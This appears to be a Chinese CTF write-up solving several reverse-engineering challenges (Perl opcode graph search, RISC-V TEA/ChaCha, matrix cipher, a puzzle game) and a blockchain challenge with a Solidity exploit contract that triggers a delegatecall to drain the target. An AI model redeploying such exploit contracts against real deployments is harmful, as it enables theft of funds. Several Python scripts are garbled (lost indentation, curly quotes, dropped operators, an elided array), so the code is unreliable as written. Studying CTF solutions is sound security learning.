    index=[4,11,18,25,32,39,0,7,14,21,28,35,42,3,10,17,24,31,38,45,6,13,20,27,34,41,2,9,16,23,30,37,44,5,12,19,26,33,40,1,8,15,22,29,36,43]
    result=[]
    for i in range(46):
      result.append(0x41)
    def dfs(i):
      if i>=46:
          print(toStr(result))
          pass
      for x in range(0x20,0x7F+1,1):
          result[index[i]]=x
          sflag=toStr(result)
          genFile(sflag)
          excuteCommand("./a")
          if checkByte(index[i])==True:
              print(sflag)
              dfs(i+1)
          else:
              continue
    dfs(0)
    
  • 等一会就搜出flag了,其实有多解

1rep

  • 下载下来发现几百兆,然后打开可以看出属于perl语言,然而我以为是个脚本语言,可以找到脚本,并不能,所以只能跟进Perl_Run函数看
  • 然后发现到达了Perl_runops_standard,发现里面有一种巨型的数据结构,类似于树,然后循环在这种结构的节点之间跳来跳去,然后还有个函数指针
  • 不难猜到,这应该是一种类似树形的opcode,查阅perl文档,知道该文件没有源文件了,使用perlcc编译成c然后再成elf
  • 所以我们可以考虑使用libperl导出的函数实现一些调试,比如Perl_dump_all,能够dump出opcode,然后再看,还有用Perl_runops_debug输出调试信息
  • 其中有主模块,和有巨多的子模块,大概看了一下,主函数就是对比了一下flag格式(substr),然后回根据输入不同执行不同的entersub进入不同的子模块
  • 观察子模块的opcode,没有涉及运算,基本也是16个entersub,而且会判断flag内部是否是16位0-9,a-f,不难想到会根据每一位的字符选择进入不同的节点
  • 然后到下一位字符,再判断前往哪个模块节点,这里可以根据runops_debug输出的结果看出,每个模块都有神奇的名字,所以抽象一下发现就是个图论题目
  • 不过这个图巨大无比,分支很多,但节点其实很少,我们必然不能每一位来枚举,16^16无法接受,所以我们选择广度优先搜索算法
  • 保存到达该模块所需要的字符串路径,然后扩展没有访问过的节点,顺便松弛一下,反正到达了输出的Correct的模块肯定就是flag,不然又会多解

如何判断访问了哪些模块呢,就用Perl_runops_debug输出调试信息,然后就可以开搜

from pwn import *
from itertools import permutations

context.log_level = “CRITICAL”

klist = “0123456789abcdef”
klist = permutations(klist)
for i in klist:
input = “”.join(i)
io = process(“./bin.bak”)
io.sendline(“*ctf{“+input+”}”)
result = io.recvall()

#print "*ctf{"+input_+"}"
if result != "":
    print "*ctf{"+input_+"}"
    break
from pwn import *

context.log_level = “CRITICAL”

input_ = “0”*16
content = open(“sub_str.txt”).read().split(“\n”)
fin_content = {}
j = 0
for i in content:
if len(i) == 6:
fin_content[i] = j
j += 1

def GetResult(input,locate):
locate-=1
io = process(“./bin.bak”)
io.sendline(“*ctf{“+””.join(input)+”}”)
result = io.recvall().split()
j = 0
for i in result:
if “(main::” in i:
if len(i) == len(“(main::ofaGvn)”):

            #print "%d: %s: %d  %s" % (j,input_[j],fin_content[i[7:13]],i[7:13])
            if j == locate:
                return fin_content[i[7:13]]
            j += 1
from queue import Queue
used=[]
road=[]
for i in range(len(fin_content)):
used.append(0)
for i in range(len(fin_content)):
road.append(“”)

q=Queue(maxsize=0)
edge=[]
lists=”0123456789abcdef”
for c in lists:
val=GetResult(c+’a’15,1)
road[val]=c
q.put(val)
print(val)
while not q.empty():
node=q.get()
if len(road[node])<16:
depth=len(road[node])
for c in lists:
pad=’a’(15-len(road[node]))
path=road[node]+c
new_node=GetResult(path+pad,depth)
if used[new_node]==0:
if depth<len(road[new_node]):
road[new_node]=path
else:
used[new_node]=1
edge.append((node,new_node))
q.put(new_node)
road[new_node]=path

虽然有点慢,但最后还是搜出来了,忘记保存截图了,大概搜了一个多小时,如果能通过opcode快速识别出分支肯定更快。

拿到手的是一个Risc-V:rv64架构的二进制文件,拖到ida里发现并不能识别,于是就掏出从官网刚下载下来的Ghidra进去逆向。

发现不能直接看反编译后的结果,图省事就直接拿题目给的qemu边看边调。
主要逻辑:输入flag->判断flag长度->流密码加密前半段->tea(QQtea)加密后半段
通过下断点到0x10468,查看a5寄存器确定flag长度为89

之后看到有数据读取猜是数据解密,点进函数多看一看发现特征”expand 32-byte k”

到网上查是一种流密码(chacha20或salsa),就直接不管算法看寄存器与栈区,把密钥流dump下来做异或,得出第一段flag

第二段flag就是tea算法加密

密钥:0x1368a0bb, 0x190ace1e, 0x35d8a357, 0x26bf2c61
密文:0xc45087f9, 0x703f2b2, 0x6974f43c, 0xedb4bb59, 0xff0b02a, 0x8520f2, 0xfdcd23dd, 0x35024875, 0xf1d7b6d3, 0x74f21be1, 0xcb2dbf12, 0xa4b453f6
解密脚本:



def encrypt(v, k):
    v0 = v[0]
    v1 = v[1]
    x = 0
    delta = 0x9E3779B9
    k0 = k[0]
    k1 = k[1]
    k2 = k[2]
    k3 = k[3]
    for i in range(16):
        x += delta
        x = x & 0xFFFFFFFF
        v0 += ((v1 << 4) + k0) ^ (v1 + x) ^ ((v1 >> 5) + k1)
        v0 = v0 & 0xFFFFFFFF
        v1 += ((v0 << 4) + k2) ^ (v0 + x) ^ ((v0 >> 5) + k3)
        v1 = v1 & 0xFFFFFFFF
    v[0] = v0
    v[1] = v1
    return v
def decrypt(v, k):
    v0 = v[0]
    v1 = v[1]
    x = 0xE3779B90
    delta = 0x9E3779B9
    k0 = k[0]
    k1 = k[1]
    k2 = k[2]
    k3 = k[3]
    for i in range(16):
        v1 -= ((v0 << 4) + k2) ^ (v0 + x) ^ ((v0 >> 5) + k3)
        v1 = v1 & 0xFFFFFFFF
        v0 -= ((v1 << 4) + k0) ^ (v1 + x) ^ ((v1 >> 5) + k1)
        v0 = v0 & 0xFFFFFFFF
        x -= delta
        x = x & 0xFFFFFFFF
    v[0] = v0
    v[1] = v1
    return v
if __name__ == '__main__':
    plain = [0xcb2dbf12, 0xa4b453f6]
    key = [0x1368a0bb, 0x190ace1e, 0x35d8a357, 0x26bf2c61]
    decrypted = decrypt(plain, key)
    print [hex(i) for i in decrypted]

最后flag:flag{have_you_tried_ghidra9.2_decompiler_if_you_have_hexriscv_plz_share_it_with_me_thx:P}

wherekey

  • 64位elf,静态链接。首先导入一个签名文件识别一下库函数https://github.com/push0ebp/sig-database
  • 之后查看一下字符串,发现还行,提示用户输入的字符串能直接找到,所以交叉引用找到程序的主要逻辑
  • 然后在这里尝试下断点动调,发现会崩掉,以为是有反调,花了很长时间找反调的点,没找到
  • 尝试找到导致崩溃的那个函数,发现在输出 please 之前调用该两个函数
    这里面会生成一个127.0.0.1的字符串,应该是开了一个socket
  • 这块会把/dev/tty作为一个输入
  • 这是输出 why??的那个函数,发现用到了刚才的socket和tty
  • 所以这个程序是通过tty读入用户的输入,然后发送给socket进行读取。因此在调试的时候会在初始化的时候崩掉,应该是调试的时候影响到了某些状态
  • 然后想到应该会用到某些 recv 之类的api,搜了一下,果然有
  • 找到了加密函数
  • 主要逻辑比较简单,每次会接收到5个字符,根据那个假的flag生成一个加密矩阵,然后根据矩阵乘法加密出5个密文,最后跟0x4c5150处的密文进行比较
  • dump处密文
      def get_cipher():
      start = 0x4C5150
      end = 0x4c5168
      cipher = []
      for i in range(start, end+1):
          cipher.append(idc.Byte(i))
      return cipher
    
  • 之后就是使用sage对模257的矩阵运算进行求解,
      M=Matrix(GF(257),[[102, 97, 111, 114, 105], [108, 114, 117, 101, 101], [97, 101, 95, 95, 110], [103, 95, 115, 102, 100], [123, 121, 117, 114, 125]])
      cipher=Matrix(GF(257),[56, 109, 75, 75, 185, 138, 249, 138, 187, 92, 138, 154,        186, 107, 210, 198, 187, 5, 144, 86, 147, 230, 18, 189, 79]).transpose()
      res=M.solve_right(cipher)
    
  • 得到了flag:Ha23_f0n_9nd_G0od-1uck-OH

ChineseGame

  • 仍然是静态链接,找了个c++的sig丢了进去,大部分函数都出来了
  • 搜到了cat flag字符串,找到了main函数
  • 这题容易在能动调,所以很快就能梳理出main函数的主要逻辑
  • 然后发现有一个地址老是被传来传去的,考虑是个结构体,于是到第一个引用处看看是怎么初始化的
  • 发现应该是一个链表,所以定义一个结构体,让代码变得清晰一点
  • 然后代码结构就非常清晰了,发现只接收两种输入,0和1,分别看一下

  • 结构非常的相似,考虑是两个相近的操作。然后查看check函数的条件
  • 所以程序的逻辑如下:有十个格子,初始化的时候第二个置为True(<100),其他的置为False(>100),然后从输入接收0和1的序列,当碰到0的时候满足某种条件时会把False变为True,碰到1时相反
  • 发生变化的条件为:
    • 当前选中的是最后一个格子
    • 当前格子的下一个格子是False
    • 下一个格子之后的格子都是True
  • 当把所有的格子都变为True(<100) 的时候就能cat flag了
  • 每次选中的格子由这个数组指定
  • 手动玩了一下,发现数组里面的序列跟手动让所有格子都变为True的操作顺序是差不多的,所以就写个Python脚本,把每次导致某个格子从True变为False的操作标记为1,从False变为True的操作标记为0即可
    def solve():
        ans = [False]*10
        ans[1] = True
        array = [1...0, 4216992, 0]
        cnt = 0
        for i in array[:-3]:
            reverse_index = 0-i
            if not ans[reverse_index]:
                print('0', end='')
            else:
                print('1', end='')
            ans[reverse_index] = not ans[reverse_index]
            cnt += 1
        print(cnt)
        print()
  • 把输出的序列发到服务器上,成功拿到flag

 

Blockchain

StArNDBOX

看了半天无果,就是操作码blabla的字节码都需要是素数。可能可以通过奇怪的填充来搞。后来翻着翻着链找create contract 100wei的,直接找到了一个大哥做出来的 (有一说一这个特征真的好找)
想法是通过create2创建合约然后 合约中带delegatecall让其转账出去。
奈于本人操作码属实废物。直接用大哥的合约了。感谢大哥

pragma solidity ^0.5.11;

library Math {
    function invMod(int256 _x, int256 _pp) internal pure returns (int) {
        int u3 = _x;
        int v3 = _pp;
        int u1 = 1;
        int v1 = 0;
        int q = 0;
        while (v3 > 0){
            q = u3/v3;
            u1= v1;
            v1 = u1 - v1*q;
            u3 = v3;
            v3 = u3 - v3*q;
        }
        while (u1<0){
            u1 += _pp;
        }
        return u1;
    }

    function expMod(int base, int pow,int mod) internal pure returns (int res){
        res = 1;
        if(mod > 0){
            base = base % mod;
            for (; pow != 0; pow >>= 1) {
                if (pow & 1 == 1) {
                    res = (base * res) % mod;
                }
                base = (base * base) % mod;
            }
        }
        return res;
    }
    function pow_mod(int base, int pow, int mod) internal pure returns (int res) {
        if (pow >= 0) {
            return expMod(base,pow,mod);
        }
        else {
            int inv = invMod(base,mod);
            return expMod(inv,abs(pow),mod);
        }
    }

    function isPrime(int n) internal pure returns (bool) {
        if (n == 2 ||n == 3 || n == 5) {
            return true;
        } else if (n % 2 ==0 && n > 1 ){
            return false;
        } else {
            int d = n - 1;
            int s = 0;
            while (d & 1 != 1 && d != 0) {
                d >>= 1;
                ++s;
            }
            int a=2;
            int xPre;
            int j;
            int x = pow_mod(a, d, n);
            if (x == 1 || x == (n - 1)) {
                return true;
            } else {
                for (j = 0; j < s; ++j) {
                    xPre = x;
                    x = pow_mod(x, 2, n);
                    if (x == n-1){
                        return true;
                    }else if(x == 1){
                        return false;
                    }
                }
            }
            return false;
        }
    }

    function gcd(int a, int b) internal pure returns (int) {
        int t = 0;
        if (a < b) {
            t = a;
            a = b;
            b = t;
        }
        while (b != 0) {
            t = b;
            b = a % b;
            a = t;
        }
        return a;
    }
    function abs(int num) internal pure returns (int) {
        if (num >= 0) {
            return num;
        } else {
            return (0 - num);
        }
    }

}

contract StArNDBOX{
    using Math for int;
    constructor()public payable{
    }
    modifier StAr() {
        require(msg.sender != tx.origin);
        _;
    }
    function StArNDBoX(address _addr) public payable{

        uint256 size;
        bytes memory code;
        int res;

        assembly{
            size := extcodesize(_addr)
            code := mload(0x40)
            mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
            mstore(code, size)
            extcodecopy(_addr, add(code, 0x20), 0, size)
        }
        for(uint256 i = 0; i < code.length; i++) {
            res = int(uint8(code[i]));
            require(res.isPrime() == true);
        }
        bool success;
        bytes memory _;
        (success, _) = _addr.delegatecall("");
        require(success);
    }
}
contract exp{
    constructor()public{}
    address ss=0xb3879a53b3964494a149BcC1863dD262C35a64aE;
    address target=0x8748ec747eB7af0B7c4e82357AAA9de00d32264a;
    StArNDBOX a=StArNDBOX(target);
    function step()external{
        a.StArNDBoX(ss);
    }
}

一发入魂。

(完)